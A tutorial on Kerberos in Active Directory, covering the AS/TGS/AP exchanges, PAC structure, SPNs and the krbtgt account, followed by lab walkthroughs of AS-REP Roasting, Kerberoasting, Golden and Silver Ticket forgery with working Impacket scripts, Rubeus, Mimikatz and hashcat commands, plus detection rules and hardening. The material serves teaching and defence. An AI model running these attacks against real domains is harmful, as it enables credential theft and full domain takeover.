Kerberos Authentication Internals: AS-REQ to TGS-REP, the PAC, SPNs, and the krbtgt Account
Every Active Directory attack you have read about – Kerberoasting, AS-REP Roasting, Golden and Silver Tickets – is just a consequence of how five Kerberos messages move keys around. Learn the message flow and the PAC, and those attacks stop being magic spells and become obvious. They are what you get when you understand which key encrypts which blob and who is allowed to ask for it.
Objective: Trace the full Kerberos exchange inside a Windows domain, from
AS-REQthroughTGS-REPtoAP-REQ, dissect the Privilege Attribute Certificate (PAC) field by field, understand SPNs and the cryptographic position of thekrbtgtaccount, and then reproduce AS-REP Roasting, Kerberoasting, Golden Ticket, and Silver Ticket attacks in a self-built lab with full detection coverage.
Contents
- 1 1. Kerberos in Windows AD – Roles and Components
- 2 2. The AS Exchange: AS-REQ and AS-REP
- 3 3. The TGS Exchange: TGS-REQ and TGS-REP
- 4 4. AP-REQ and Service Authentication
- 5 5. Deep Dive: The Privilege Attribute Certificate (PAC)
- 6 6. Service Principal Names – Registration and Enumeration
- 7 7. The krbtgt Account – The Domain’s Master Key
- 8 8. Lab Setup
- 9 9. Attack Lab: AS-REP Roasting
- 10 10. Attack Lab: Kerberoasting
- 11 11. Attack Lab: Golden Ticket
- 12 12. Attack Lab: Silver Ticket
- 13 13. Detection and Defense
- 14 14. Tools
- 15 15. MITRE ATT&CK Mapping
- 16 Summary
- 17 References
1. Kerberos in Windows AD – Roles and Components
Kerberos is a ticket-based authentication protocol. The participants are simple once you name them.
| Component | Role in the Exchange |
|---|---|
| Client | The user or machine principal requesting access. |
| KDC | Key Distribution Center; hosts both the Authentication Service (AS) and Ticket Granting Service (TGS). On Windows, the KDC runs on every Domain Controller. |
| AS | Issues the Ticket Granting Ticket (TGT) after proving the client knows its key. |
| TGS | Issues service tickets for specific SPNs once the client presents a valid TGT. |
| Application Server (AP) | The service the client ultimately wants to reach (file share, MSSQL, HTTP). |
The realm is the AD domain (uppercase by convention, e.g. LAB.LOCAL). Kerberos traffic rides on port 88 over both TCP and UDP. Windows implements RFC 4120 with a pile of extensions Microsoft documents as MS-KILE (Kerberos Protocol Extensions) and MS-PAC (the PAC structure). The PAC is the single most important Microsoft addition, because RFC Kerberos does authentication only. It says nothing about authorization. The PAC is how Windows answers “which groups is this user in” without a second round trip.
Five message types carry the whole protocol:
| Message | Direction | Purpose |
|---|---|---|
KRB_AS_REQ | Client → AS | Request a TGT. |
KRB_AS_REP | AS → Client | Deliver the TGT plus the TGS session key. |
KRB_TGS_REQ | Client → TGS | Request a service ticket for an SPN. |
KRB_TGS_REP | TGS → Client | Deliver the service ticket. |
KRB_AP_REQ | Client → Service | Authenticate to the application server. |
KRB_AP_REP | Service → Client | Optional mutual authentication back to the client. |
KRB_ERROR | Any → Client | Carry error conditions (preauth required, clock skew, bad ticket). |
Hold one idea in your head for the rest of this article: a Kerberos ticket is a blob encrypted with the target service’s long-term key, and only that service (or whoever holds its key) can read it. The TGT’s target service is krbtgt. A service ticket’s target is the account that owns the SPN. That one sentence explains every attack below.
2. The AS Exchange: AS-REQ and AS-REP
The client opens with KRB_AS_REQ. In a standard Windows password logon, the interesting part lives in the padata (pre-authentication data) field. Pre-authentication is Kerberos’s extensibility point, and Windows requires it by default.
When a client uses password-based initial auth, it MUST supply PA-ENC-TIMESTAMP [2]: the current timestamp encrypted with the user’s secret key. That secret key is derived directly from the user’s password (RC4 is literally the NT hash; AES keys are derived via string-to-key over the password and salt). The client can also send PA-PAC-REQUEST [128] to ask that issued tickets include a PAC.
Other KILE pre-auth types you will see on the wire:
| PA Type | ID | Use |
|---|---|---|
PA-TGS-REQ | 1 | Presents a TGT inside a TGS-REQ. |
PA-ENC-TIMESTAMP | 2 | Encrypted timestamp for password preauth. |
PA-ETYPE-INFO / PA-ETYPE-INFO2 | 11 / 19 | Salt and supported etypes advertised by the KDC. |
PA-PK-AS-REQ / PA-PK-AS-REP | 16 / 17 | PKINIT (certificate-based logon). |
PA-FX-FAST | 136 | Kerberos armoring (FAST). |
PA-PAC-OPTIONS | 167 | Requestor / resource SID compression hints. |
The KDC decrypts PA-ENC-TIMESTAMP with its stored copy of the user’s key and checks the timestamp against the domain clock-skew tolerance (five minutes by default). If the decrypt fails, the user proved nothing. If it succeeds, the user proved knowledge of the password without ever sending it.
On success the KDC returns KRB_AS_REP carrying two encrypted parts:
- The TGT, whose
enc-partis encrypted with the krbtgt key. The client cannot read this. It contains the TGS session key, the client identity, ticket lifetimes, and the PAC. - The AS-REP
enc-part, encrypted with the user’s own key. It contains a copy of the TGS session key plus ticket metadata so the client can use the TGT.
The pre-auth weakness that becomes AS-REP Roasting
Here is the crack. The AS-REP enc-part is encrypted with the user’s key, which is derived from the user’s password. If pre-authentication is disabled on an account (userAccountControl flag UF_DONT_REQUIRE_PREAUTH, 0x400000), the KDC will hand out an AS-REP to anybody who asks, without ever proving they know the password. The attacker takes that RC4-encrypted blob offline and brute-forces the password against it. That is the entire AS-REP Roasting attack, and it falls straight out of skipping PA-ENC-TIMESTAMP.

3. The TGS Exchange: TGS-REQ and TGS-REP
With a TGT in hand, the client never sends its password again. To reach a service, it sends KRB_TGS_REQ to the TGS. The TGT travels inside a PA-TGS-REQ [1] padata block, accompanied by an authenticator (a fresh timestamp encrypted with the TGS session key) to prove the client actually holds that session key and is not replaying a stolen TGT.
The req-body names the target service via its SPN, for example MSSQLSvc/srv01.lab.local:1433 or CIFS/srv01. The KDC:
- Decrypts the TGT with the krbtgt key (only it can).
- Validates the authenticator against the TGS session key inside the TGT.
- Looks up the SPN in AD to find the owning account.
- Builds a service ticket whose
enc-partis encrypted with the service account’s long-term key, copies the PAC into it (re-signing as needed), and returns it inKRB_TGS_REP.
The TGS-REP also carries EncTGSRepPart, encrypted with the TGS session key (or a subkey from the request), which delivers the new service session key to the client.
The weakness that becomes Kerberoasting
Two facts collide here. First, any authenticated domain user with a valid TGT can request a service ticket for any registered SPN. The KDC does not check whether you are authorized to use the service; that is the service’s job at AP-REQ time. Second, the returned service ticket is encrypted with the service account’s key. If that key is RC4 (etype 0x17, the NT hash), the attacker can extract the encrypted blob and brute-force the service account’s password offline. SPNs registered on user accounts are the prize, because user passwords are usually far weaker than the 120-character random passwords that machine accounts rotate automatically.

4. AP-REQ and Service Authentication
The client presents the service ticket to the application server in KRB_AP_REQ, again wrapping it with an authenticator encrypted under the service session key. The server decrypts the ticket with its own long-term key, validates the authenticator, and extracts the PAC from the ticket’s authorization data. From the PAC it builds the user’s access token: user SID, group SIDs, privileges. Optionally the server sends KRB_AP_REP for mutual authentication.
PAC validation is usually skipped
The server can ask its own DC to verify the PAC signature with a KERB_VERIFY_PAC message. Only the server signature in PAC_SIGNATURE_DATA is checked to determine PAC validity, and that check uses the long-term key the KDC shares with the server. Per MS-APDS, Windows skips this verification in two common cases:
- The service process holds
SeTcbPrivilege(“Act as part of the operating system”), which mostSYSTEMservices do. - The
ValidateKdcPacSignatureregistry value disables it:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters
ValidateKdcPacSignature (DWORD)
0 = disabled
1 = enabled
This is why Silver Tickets work in the majority of cases: most services accept the PAC the ticket carries without phoning home, so a forged PAC signed only with the service key (not the krbtgt key) sails through.
5. Deep Dive: The Privilege Attribute Certificate (PAC)
The PAC is the authorization payload riding inside every ticket. At the top is PACTYPE: a count, then an array of PAC_INFO_BUFFER entries, each pointing at an NDR-encoded structure by ulType and Offset.
typedef struct _PACTYPE {
ULONG cBuffers; // number of PAC_INFO_BUFFER entries
ULONG Version;
PAC_INFO_BUFFER Buffers[1]; // variable-length array
} PACTYPE;
typedef struct _PAC_INFO_BUFFER {
ULONG ulType; // buffer type (see table)
ULONG cbBufferSize; // size in bytes
ULONG64 Offset; // offset from start of PACTYPE
} PAC_INFO_BUFFER;
The buffers that matter:
ulType | Structure | Purpose |
|---|---|---|
0x00000001 | KERB_VALIDATION_INFO (Logon Info) | Core logon and group membership data. |
0x00000006 | PAC_CLIENT_INFO | Client name and TGT auth time. |
0x00000007 | PAC_SIGNATURE_DATA (Server Signature) | HMAC keyed to the service key. |
0x00000008 | PAC_SIGNATURE_DATA (KDC Signature) | HMAC keyed to the krbtgt key. |
0x00000010 | UPN_DNS_INFO | UPN and DNS domain name. |
0x00000011 | PAC_CLIENT_CLAIMS_INFO | Dynamic Access Control claims. |
0x00000012 | PAC_DEVICE_INFO | Device group memberships. |
0x0000000C | PAC_REQUESTOR (post-KB5008380) | Requestor SID, validated by the KDC. |
KERB_VALIDATION_INFO, the heart of the PAC
This is where group SIDs live. Forge this and lie about it, and you are whoever you want to be. Key fields (MS-PAC section 2.5):
typedef struct _KERB_VALIDATION_INFO {
FILETIME LogonTime;
FILETIME LogoffTime;
FILETIME KickOffTime;
FILETIME PasswordLastSet;
FILETIME PasswordCanChange;
FILETIME PasswordMustChange;
RPC_UNICODE_STRING EffectiveName; // sAMAccountName
RPC_UNICODE_STRING FullName;
RPC_UNICODE_STRING LogonScript;
RPC_UNICODE_STRING ProfilePath;
RPC_UNICODE_STRING HomeDirectory;
RPC_UNICODE_STRING HomeDirectoryDrive;
USHORT LogonCount;
USHORT BadPasswordCount;
ULONG UserId; // RID of the user
ULONG PrimaryGroupId; // RID of primary group
ULONG GroupCount;
PGROUP_MEMBERSHIP GroupIds; // array of group RIDs
ULONG UserFlags;
USER_SESSION_KEY UserSessionKey;
RPC_UNICODE_STRING LogonServer;
RPC_UNICODE_STRING LogonDomainName;
PISID LogonDomainId; // domain SID
ULONG UserAccountControl;
ULONG SidCount;
PKERB_SID_AND_ATTRIBUTES ExtraSids; // SIDs from other domains
PISID ResourceGroupDomainSid;
ULONG ResourceGroupCount;
PGROUP_MEMBERSHIP ResourceGroupIds;
} KERB_VALIDATION_INFO;
LogonDomainId is the domain SID. Windows builds the user SID by appending UserId (the RID) to it, the primary group SID from PrimaryGroupId, and each group SID from GroupIds. ExtraSids holds SIDs from other domains, which is exactly the field abused for SID-History cross-forest escalation. Put 519 (Enterprise Admins) in GroupIds of a forged PAC and the resource server’s access token will grant you Enterprise Admin rights, because it trusts the PAC.
The two signatures
The PAC carries two PAC_SIGNATURE_DATA checksums:
typedef struct _PAC_SIGNATURE_DATA {
ULONG SignatureType; // checksum algorithm
UCHAR Signature[1]; // 16 bytes (RC4-HMAC-MD5) or 12 bytes (AES)
} PAC_SIGNATURE_DATA;
SignatureType must be KERB_CHECKSUM_HMAC_MD5 (16-byte) or HMAC_SHA1_96_AES128 / HMAC_SHA1_96_AES256 (12-byte). The Server Signature is keyed to the service account key; the KDC Signature is keyed to the krbtgt key. This is the cryptographic split that separates Golden from Silver tickets:
- A Golden Ticket is a forged TGT, so you need the krbtgt key to produce a valid KDC signature.
- A Silver Ticket is a forged service ticket. You only need the service key, so you can sign the server signature, but you cannot produce a valid KDC signature. It works anyway whenever the service skips PAC validation.
PAC_CLIENT_INFO and PAC_REQUESTOR
PAC_CLIENT_INFO holds ClientId (a FILETIME conversion of the ticket AuthTime), NameLength, and Name (the client principal in Unicode). Mimikatz forging mistakes used to leave the name or AuthTime mismatched, which is a forensic tell.
PAC_REQUESTOR is the November 2021 hardening from KB5008380. The KDC now embeds the requestor’s SID in the TGT PAC and validates it on every TGS request. In enforcement mode, a Golden Ticket minted for a username or SID that does not actually exist in AD is rejected. Forgers must now use a real account’s SID.

6. Service Principal Names – Registration and Enumeration
An SPN uniquely identifies a service instance and lives in the servicePrincipalName AD attribute on a user or computer account. The format:
ServiceClass/Host[:Port][/ServiceName]
Examples: MSSQLSvc/srv01.lab.local:1433, HTTP/web.lab.local, CIFS/fs1.lab.local, and the special krbtgt/LAB.LOCAL.
Enumeration first. Before you roast anything, you find the SPNs registered on user accounts, because those are the crackable ones. Manual approach with the native setspn:
setspn -T lab.local -Q */*
Checking domain DC=lab,DC=local
CN=DC01,OU=Domain Controllers,DC=lab,DC=local
HOST/DC01
HOST/dc01.lab.local
ldap/dc01.lab.local/lab.local
CN=SRV01,CN=Computers,DC=lab,DC=local
HOST/SRV01
TERMSRV/srv01.lab.local
CN=svc_sql,CN=Users,DC=lab,DC=local
MSSQLSvc/srv01.lab.local:1433
Existing SPN found!
That last entry is gold. MSSQLSvc/srv01.lab.local:1433 is registered on svc_sql, a user account, not a computer account. Tool-based enumeration with PowerView filters straight to user-owned SPNs:
Get-DomainUser -SPN | Select-Object SamAccountName, ServicePrincipalName
SamAccountName ServicePrincipalName
-------------- --------------------
svc_sql MSSQLSvc/srv01.lab.local:1433
svc_web HTTP/web.lab.local
krbtgt kadmin/changepw
Ignore krbtgt (its key is uncrackable). svc_sql and svc_web are Kerberoastable. BloodHound flags these nodes with the Kerberoastable property, so when you ingest collection data, query for it directly:
MATCH (u:User {hasspn:true}) RETURN u.name, u.serviceprincipalnames
"u.name" "u.serviceprincipalnames"
"SVC_SQL@LAB.LOCAL" ["MSSQLSvc/srv01.lab.local:1433"]
"SVC_WEB@LAB.LOCAL" ["HTTP/web.lab.local"]
7. The krbtgt Account – The Domain’s Master Key
krbtgt is a built-in, disabled account (ACCOUNTDISABLE plus DONT_EXPIRE_PASSWORD set in userAccountControl) whose long-term keys are the trust anchor for the entire domain. Every TGT in the realm is encrypted and signed with the krbtgt key. The TGS service SPN is krbtgt/LAB.LOCAL@LAB.LOCAL.
Because TGTs are encrypted with the krbtgt key and that account never logs in, its key is never handed out in a ticket, so Kerberoasting cannot touch it. But if you steal the krbtgt hash (via DCSync, an NTDS.dit dump, or DCShadow), you can forge a TGT for anyone, with any group membership, and the KDC will honor it because the KDC signature checks out. That is a Golden Ticket. It is also why the krbtgt hash is the single most valuable credential in a forest.
One operational fact that trips up every IR team: resetting krbtgt requires two resets. AD keeps the current and previous krbtgt password for backward compatibility (so tickets in flight do not break). A single reset leaves all existing Golden Tickets valid because they still verify against the previous key. Only the second reset, after enough delay for replication and the maximum ticket lifetime, fully invalidates forged tickets. The account’s msDS-SupportedEncryptionTypes decides the default ticket encryption (set it to AES-only to deny attackers RC4 forgeries).

8. Lab Setup
Build a two-machine domain. Everything below runs against it.
| Host | Role | Address |
|---|---|---|
dc01.lab.local | Server 2022 Eval, KDC, domain lab.local | 10.0.0.1 |
srv01.lab.local | Server 2019 Eval, IIS + MSSQL Eval | 10.0.0.10 |
Plant the intentional misconfigurations on the DC:
# Kerberoastable user account with a weak password and a manual SPN
New-ADUser -Name "svc_sql" -SamAccountName svc_sql -AccountPassword (ConvertTo-SecureString "Summer2023!" -AsPlainText -Force) -Enabled $true
setspn -S MSSQLSvc/srv01.lab.local:1433 svc_sql
# AS-REP roastable account: pre-authentication disabled
New-ADUser -Name "roast_me" -SamAccountName roast_me -AccountPassword (ConvertTo-SecureString "Welcome1" -AsPlainText -Force) -Enabled $true
Set-ADAccountControl -Identity roast_me -DoesNotRequirePreAuth $true
# Standard attacker foothold account
New-ADUser -Name "student01" -SamAccountName student01 -AccountPassword (ConvertTo-SecureString "Password1" -AsPlainText -Force) -Enabled $true
Checking domain DC=lab,DC=local
Registering ServicePrincipalNames for CN=svc_sql,CN=Users,DC=lab,DC=local
MSSQLSvc/srv01.lab.local:1433
Updated object
The attacker box is a Linux host with Impacket and Hashcat, plus a Windows foothold with Rubeus and Mimikatz. Note the domain SID for later (Get-ADDomain | select DomainSID):
DomainSID
---------
S-1-5-21-1966530601-3185510712-10604624
9. Attack Lab: AS-REP Roasting
MITRE: T1558.004. Target roast_me, which has pre-auth disabled.
Enumeration
Find accounts without pre-auth before you roast. With PowerView from a domain-joined box:
Get-DomainUser -UACFilter DONT_REQ_PREAUTH | Select-Object SamAccountName
SamAccountName
--------------
roast_me
From Linux with no credentials at all (the whole point: this needs no password):
GetNPUsers.py lab.local/ -usersfile users.txt -no-pass -dc-ip 10.0.0.1
Impacket v0.11.0 - Copyright 2023 Fortra
[-] User student01 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User svc_sql doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$roast_me@LAB.LOCAL:a8f2...
Trigger and harvest the AS-REP
The roast_me account returns an AS-REP whose enc-part is RC4 (etype 23), encrypted with its password-derived key.
GetNPUsers.py lab.local/roast_me -no-pass -dc-ip 10.0.0.1 -format hashcat -outputfile asrep.txt
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Getting TGT for roast_me
$krb5asrep$23$roast_me@LAB.LOCAL:3e9c1f4d8b2a07c6e5f1a9d4b8c3e2f1$7a1b9c...e4f2
What the bytes are (code anchor)
This short script hand-crafts an AS-REQ with no PA-ENC-TIMESTAMP, parses the returned AS-REP, and shows exactly which fields become Hashcat’s $krb5asrep$23$ blob.
from impacket.krb5 import constants
from impacket.krb5.asn1 import AS_REQ, AS_REP, seq_set, seq_set_iter
from impacket.krb5.kerberosv5 import sendReceive
from impacket.krb5.types import Principal, KerberosTime
from pyasn1.codec.der import encoder, decoder
import datetime, binascii
domain = "LAB.LOCAL"
user = "roast_me"
kdc = "10.0.0.1"
# Build a minimal AS-REQ that omits PA-ENC-TIMESTAMP entirely.
asReq = AS_REQ()
asReq['pvno'] = 5
asReq['msg-type'] = int(constants.ApplicationTagNumbers.AS_REQ.value)
# kdc-options: forwardable, renewable, proxiable
reqBody = asReq['req-body']
reqBody['kdc-options'] = "'01010000...'" # bit string flags
clientName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
seq_set(reqBody, 'cname', clientName.components_to_asn1)
reqBody['realm'] = domain
serverName = Principal('krbtgt/%s' % domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
seq_set(reqBody, 'sname', serverName.components_to_asn1)
reqBody['till'] = KerberosTime.to_asn1(datetime.datetime(2037, 9, 13))
reqBody['nonce'] = 0x41414141
seq_set_iter(reqBody, 'etype', (int(constants.EncryptionTypes.rc4_hmac.value),)) # force etype 23
# Send it. Because preauth is disabled, the KDC answers with an AS-REP, not KRB_ERROR.
data = encoder.encode(asReq)
response = sendReceive(data, domain, kdc)
asRep = decoder.decode(response, asn1Spec=AS_REP())[0]
# The crackable material is the AS-REP enc-part cipher, encrypted with the user's key.
cipher = asRep['enc-part']['cipher'].asOctets()
checksum = cipher[:16].hex() # RC4-HMAC checksum
edata = cipher[16:].hex() # encrypted timestamp/session-key blob
print("$krb5asrep$23$%s@%s:%s$%s" % (user, domain, checksum, edata))
Crack it offline
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
$krb5asrep$23$roast_me@LAB.LOCAL:3e9c1f4d...e4f2:Welcome1
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)
Recovered........: 1/1 (100.00%) Digests
roast_me:Welcome1. The fix is to never set DONT_REQ_PREAUTH, and to give any account that legitimately needs it a long random password.
10. Attack Lab: Kerberoasting
MITRE: T1558.003. Target svc_sql and its SPN. This one needs valid domain credentials (any user), because you must present a TGT.
Enumeration
We already found svc_sql in section 6. Confirm it from the attacker box with valid creds and check the etype the account supports:
Get-DomainUser -SPN | ? { $_.samaccountname -ne 'krbtgt' } | Select-Object samaccountname, serviceprincipalname, msds-supportedencryptiontypes
samaccountname serviceprincipalname msds-supportedencryptiontypes
-------------- -------------------- -----------------------------
svc_sql MSSQLSvc/srv01.lab.local:1433
svc_web HTTP/web.lab.local
A blank msds-supportedencryptiontypes means the account defaults to RC4 being acceptable, which is exactly what you want for a fast offline crack.
Trigger: request the service ticket
With Impacket from Linux, authenticated as student01:
GetUserSPNs.py lab.local/student01:Password1 -dc-ip 10.0.0.1 -request -outputfile tgs.txt
Impacket v0.11.0 - Copyright 2023 Fortra
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon
------------------------------ -------- -------- ------------------- ---------
MSSQLSvc/srv01.lab.local:1433 svc_sql 2023-06-01 09:14:22 <never>
[*] Getting TGS for svc_sql
$krb5tgs$23$*svc_sql$LAB.LOCAL$MSSQLSvc/srv01.lab.local:1433*$b41d...$9f7c...e1
With Rubeus on a Windows foothold, force the RC4 downgrade for crackability even in AES domains:
Rubeus.exe kerberoast /user:svc_sql /domain:lab.local /dc:10.0.0.1 /rc4opsec /outfile:tgs.txt
[*] Action: Kerberoasting
[*] Target User : svc_sql
[*] SamAccountName : svc_sql
[*] ServicePrincipalName : MSSQLSvc/srv01.lab.local:1433
[*] Hash written to : tgs.txt
The /rc4opsec flag places only RC4 in the etype field of the TGS-REQ, so the KDC encrypts the ticket with the service account’s NT hash rather than its AES key.
Code anchor: request the TGS and isolate the crackable bytes
from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
from impacket.krb5.types import Principal
from impacket.krb5 import constants
domain, user, password = "LAB.LOCAL", "student01", "Password1"
spn = "MSSQLSvc/srv01.lab.local:1433"
# 1. Obtain a TGT (AS exchange) with valid creds.
userPrincipal = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
tgt, cipher, oldKey, sessionKey = getKerberosTGT(userPrincipal, password, domain, lmhash='', nthash='', kdcHost="10.0.0.1")
# 2. Request a TGS for the SPN (TGS exchange). The ticket enc-part comes back
# encrypted with svc_sql's key, which is what we crack.
serverPrincipal = Principal(spn, type=constants.PrincipalNameType.NT_SRV_INST.value)
tgs, cipher, oldKey, sessionKey = getKerberosTGS(serverPrincipal, domain, "10.0.0.1", tgt, cipher, sessionKey)
# 3. The ticket's enc-part is the hashcat blob. etype 23 = RC4-HMAC = offline-crackable.
from pyasn1.codec.der import decoder
from impacket.krb5.asn1 import TGS_REP
rep = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
etype = int(rep['ticket']['enc-part']['etype'])
cblob = rep['ticket']['enc-part']['cipher'].asOctets()
print("etype =", etype) # 23
print("$krb5tgs$23$*svc_sql$%s$%s*$%s$%s" % (domain, spn, cblob[:16].hex(), cblob[16:].hex()))
Crack it
hashcat -m 13100 tgs.txt /usr/share/wordlists/rockyou.txt
$krb5tgs$23$*svc_sql$LAB.LOCAL$MSSQLSvc/...*$b41d...e1:Summer2023!
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
svc_sql:Summer2023!. The defense: give service accounts long random passwords (use a gMSA, which rotates 240-bit passwords automatically), force AES-only via msDS-SupportedEncryptionTypes, and minimize user-account SPNs.
11. Attack Lab: Golden Ticket
MITRE: T1558.001. Prerequisite: the krbtgt hash, obtained via DCSync. In a real engagement you reach this after escalating to a principal with replication rights; in the lab, run it as a Domain Admin.
Obtain the krbtgt hash and domain SID
secretsdump.py lab.local/Administrator:'P@ssw0rd!'@10.0.0.1 -just-dc-user krbtgt
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:1a59bd44fe5bec39c44c8cd3524dab1f:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:88f4d1b7c9e0a3f6...d2
krbtgt:aes128-cts-hmac-sha1-96:5c2a9e7f...
NT hash 1a59bd44fe5bec39c44c8cd3524dab1f, AES256 key noted, domain SID S-1-5-21-1966530601-3185510712-10604624.
Forge the ticket
Mimikatz (RC4, the loud variant):
kerberos::golden /user:Administrator /domain:lab.local /sid:S-1-5-21-1966530601-3185510712-10604624 /krbtgt:1a59bd44fe5bec39c44c8cd3524dab1f /id:500 /groups:512,513,518,519,520 /ptt
User : Administrator
Domain : lab.local (LAB)
SID : S-1-5-21-1966530601-3185510712-10604624
User Id : 500
Groups Id : *512 513 518 519 520
ServiceKey: 1a59bd44fe5bec39c44c8cd3524dab1f - rc4_hmac_nt
Lifetime : 6/1/2023 ... ; 5/29/2033 ... (10 years)
-> Ticket : ** Pass The Ticket **
Golden ticket for 'Administrator @ lab.local' successfully submitted for current session
The group RIDs are the keys: 512 Domain Admins, 518 Schema Admins, 519 Enterprise Admins, 520 Group Policy Creator Owners. Those land in the PAC’s GroupIds, so the resource server’s token grants full admin.
The stealthier Rubeus AES256 variant, which avoids the RC4 anomaly and uses a real account SID for PAC_REQUESTOR compatibility:
Rubeus.exe golden /aes256:88f4d1b7c9e0a3f6...d2 /user:Administrator /id:500 /domain:lab.local /sid:S-1-5-21-1966530601-3185510712-10604624 /dc:dc01.lab.local /ptt
[*] Building PAC
[*] Domain : LAB.LOCAL (LAB)
[*] SID : S-1-5-21-1966530601-3185510712-10604624
[*] EncryptionType : aes256_cts_hmac_sha1
[*] Signing PAC with KDC and Server signatures
[+] Ticket successfully imported!
Use it
dir \\dc01.lab.local\C$
Volume in drive \\dc01.lab.local\C$ has no label.
Directory of \\dc01.lab.local\C$
06/01/2023 09:00 AM <DIR> Windows
06/01/2023 09:00 AM <DIR> Users
Notice the Golden Ticket never sent an AS-REQ. It was minted offline. That is the detection seam: a 4769 with no preceding 4768 for the same principal. Mimikatz defaults also use RC4 in an AES domain and a 10-year lifetime, both screaming anomalies. Remediation is the double krbtgt reset.
12. Attack Lab: Silver Ticket
MITRE: T1558.002. Prerequisite: the service account’s hash, which you already cracked in section 10 (svc_sql:Summer2023!, NT hash recoverable). A Silver Ticket is a forged service ticket that never touches the KDC, so there is no 4768 and no 4769 at all. It is the quietest of these attacks.
Forge a CIFS/MSSQL service ticket
ticketer.py -nthash 9a1f6c2b8d4e0a37f5c9b1d8e2a4f0c6 -domain-sid S-1-5-21-1966530601-3185510712-10604624 \
-domain lab.local -spn MSSQLSvc/srv01.lab.local:1433 Administrator
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for lab.local/Administrator
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncTGSRepPart
[*] Signing/Encrypting final ticket
[*] Saving ticket in Administrator.ccache
export KRB5CCNAME=Administrator.ccache
mssqlclient.py -k -no-pass lab.local/Administrator@srv01.lab.local
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ACK: Result: 1 - Microsoft SQL Server (140 ...)
[*] Press help for extra shell commands
SQL (LAB\Administrator dbo@master)>
Why this works (and when it fails)
The forged ticket carries a PAC signed with the service key (svc_sql‘s key), so the server signature is valid. But you do not have the krbtgt key, so the KDC signature is bogus. If the service called the DC to verify the PAC (KERB_VERIFY_PAC), the forgery would be caught. As covered in section 4, most services run as SYSTEM with SeTcbPrivilege and skip full PAC validation, so the Silver Ticket sails through. Harden by enabling ValidateKdcPacSignature where supported and by rotating service account keys, which immediately invalidates outstanding Silver Tickets for that service.
13. Detection and Defense
All four attacks light up the DC Security log if you collect the right events.
| Event ID | Meaning | Key Fields |
|---|---|---|
4768 | TGT requested (AS exchange) | Pre-Authentication Type, Ticket Encryption Type, Result Code |
4769 | Service ticket requested (TGS exchange) | Ticket Encryption Type, Service Name, Client Address |
4770 | Service ticket renewed | renewal anomalies |
4771 | Pre-authentication failed | Failure Code (0x18 = bad password) |
4672 | Special privileges assigned to logon | unexpected privileged accounts |
4662 | Operation on AD object | replication GUID for DCSync |
Kerberoasting (T1558.003)
Alert on 4769 where the encryption type is RC4 (0x17), the service is not krbtgt, and a single account requests tickets for many distinct SPNs in a short window.
title: Potential Kerberoasting via RC4 Service Ticket Request
logsource:
product: windows
service: security
detection:
selection:
EventID: 4769
TicketEncryptionType: '0x17'
TicketOptions: '0x40810000'
filter:
ServiceName: 'krbtgt'
condition: selection and not filter
level: high
AS-REP Roasting (T1558.004)
A 4768 with Pre-Authentication Type: 0 is an account answering without proving the password. That is the signature of pre-auth being disabled and of roasting.
title: AS-REP Roasting - TGT Issued Without Pre-Authentication
logsource:
product: windows
service: security
detection:
selection:
EventID: 4768
PreAuthType: '0'
Status: '0x0'
condition: selection
level: high
Golden Ticket (T1558.001)
A forged TGT skips the AS exchange, so look for 4769 (service ticket request) with no preceding 4768 (TGT request) from the same account on the same host. Also flag RC4 tickets in an AES domain, 10-year lifetimes, and account names that do not exist in AD. The DCSync prerequisite shows up as 4662 referencing the replication right GUID 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 from a non-DC host.
title: DCSync Replication Request From Non-DC Host
logsource:
product: windows
service: security
detection:
selection:
EventID: 4662
Properties|contains: '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2'
condition: selection
level: critical
Hardening checklist
- Enforce AES (
msDS-SupportedEncryptionTypes) on krbtgt and service accounts; disable RC4 domain-wide where compatible. - Use group Managed Service Accounts (gMSA) so service passwords are 240-bit and auto-rotated, killing Kerberoasting offline cracking.
- Remove
DONT_REQ_PREAUTHfrom every account; if one needs it, give it a long random password. - Reset the krbtgt password twice (with delay between) on any suspected krbtgt compromise, and on a routine schedule.
- Apply KB5008380 and run PAC validation in enforcement mode so forged
PAC_REQUESTORSIDs are rejected. - Constrain replication rights so DCSync is impossible for non-tier-0 principals, and alert on
4662from non-DCs.
14. Tools
| Tool | Description | Link |
|---|---|---|
| Impacket | GetNPUsers.py, GetUserSPNs.py, secretsdump.py, ticketer.py for the full attack chain. | github.com/fortra/impacket |
| Rubeus | Windows-native Kerberos abuse: asreproast, kerberoast, golden, ptt. | github.com/GhostPack/Rubeus |
| Mimikatz | lsadump::dcsync, kerberos::golden, ticket injection. | github.com/gentilkiwi/mimikatz |
| Hashcat | Offline cracking of $krb5asrep$ (18200) and $krb5tgs$ (13100). | hashcat.net |
| John the Ripper | Alternative offline cracker for Kerberos hashes. | openwall.com |
| PowerView | Get-DomainUser -SPN, UAC filtering for pre-auth. | github.com/PowerShellMafia |
| BloodHound | Graphs Kerberoastable nodes and DCSync paths. | bloodhound.specterops.io |
| Wireshark | Dissects AS/TGS messages, etypes, and ticket structures on port 88. | wireshark.org |
15. MITRE ATT&CK Mapping
| Technique | MITRE ID | Detection |
|---|---|---|
